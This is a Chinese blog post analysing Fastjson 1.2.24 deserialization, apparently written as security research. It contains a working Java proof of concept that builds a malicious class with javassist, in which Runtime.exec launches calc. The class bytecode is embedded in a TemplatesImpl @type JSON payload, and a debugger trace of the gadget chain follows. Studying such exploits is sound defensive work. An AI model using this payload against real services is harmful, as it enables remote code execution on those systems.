• Fastjson反序列化分析


    依赖

    先研究1.2.24版本的,版本高了就有waf了,不过也能绕,高版本以后再说

    <dependency>
        <groupId>com.alibabagroupId>
        <artifactId>fastjsonartifactId>
        <version>1.2.24version>
    dependency>
    <dependency>
        <groupId>mysqlgroupId>
        <artifactId>mysql-connector-javaartifactId>
        <version>5.1.46version>
    dependency>
    <dependency>
        <groupId>org.javassistgroupId>
        <artifactId>javassistartifactId>
        <version>3.29.1-GAversion>
    dependency>
    

    Fastjson之任意get,set调用

    TemplatesImpl链

    老样子定义恶意类,然后打TemplatesImpl的defineClass

    package org.example;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.Feature;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import javassist.*;
    
    import java.io.IOException;
    import java.util.Base64;
    
    public class Main {
        public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
            ClassPool pool = new ClassPool();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass cc = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            cc.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            cc.setName(randomClassName);
            cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[] codes = cc.toBytecode();
            String value = Base64.getEncoder().encodeToString(codes);
            String payload = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\": [\""+value+"\"], \"_name\": \"c.c\", \"_tfactory\": {}, \"_outputProperties\": {},\"_name\": \"a\", \"_version\": \"1.0\", \"allowedProtocols\": \"all\"}";
            // 注意这里这些属性都是私有属性,所以得设置Feature.SupportNonPublicField来保证可以对私有属性赋值
            JSON.parseObject(payload, Feature.SupportNonPublicField);
        }
    }
    

    打个断点进行分析,断点打在JSON.parseObject,进入parse

    这里配置了我们传入的Feature.SupportNonPublicField为true

    继续跟进parse

    继续跟进parse

    这里对token进行选择,我们的token在DefaultJSONParser中被赋值了12,继续跟进,LBRACE就是12

    进入parseObject,取到key为@type

    加载key的value也就是我们传入的TemplatsImpl
    跟进loadClass

    往下走,获取一个类加载器来加载我们的恶意类,然后放入一个map中

    返回之后往下走,调用getDeserializer将恶意类进行JSON反序列化

    跟进该方法,一系列的判断,没啥用,直接过,来到这,创建了个JavaBeanDeserializer
    跟进该方法,又是一系列的判断,略过来到这里,调用了JavaBeanDeserializer

    跟进该构造方法

    跟进build方法,这里循环调用恶意类的方法,调用到getOutProperties,define恶意类
    set也是一样

    JdbcRowSetImpl链

    之前的JNDI注入分析文章已经分析过了
    https://tttang.com/archive/1579/#toc_
    https://www.cnblogs.com/F12-blog/p/18100120


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18101951
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    手撕 视觉slam14讲 ch13 代码(5)双目初始化 StereoInit()
    JVM内存分配与管理详解
    Json Schema高性能.net实现库 LateApexEarlySpeed.Json.Schema - 直接从code生成json schema validator
    Android SIM卡识别加载流程
    如何与同事相处
    Allegro Design Entry HDL(OrCAD Capture HDL)RF-PCB菜单详细介绍
    7-279 字符串输入输出练习7-284 倒立的杨辉三角形
    2023计算机毕业设计SSM最新选题之java二手交易平台2ud44
    实现 strStr()函数
    如何在项目中使用kafka?
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18101951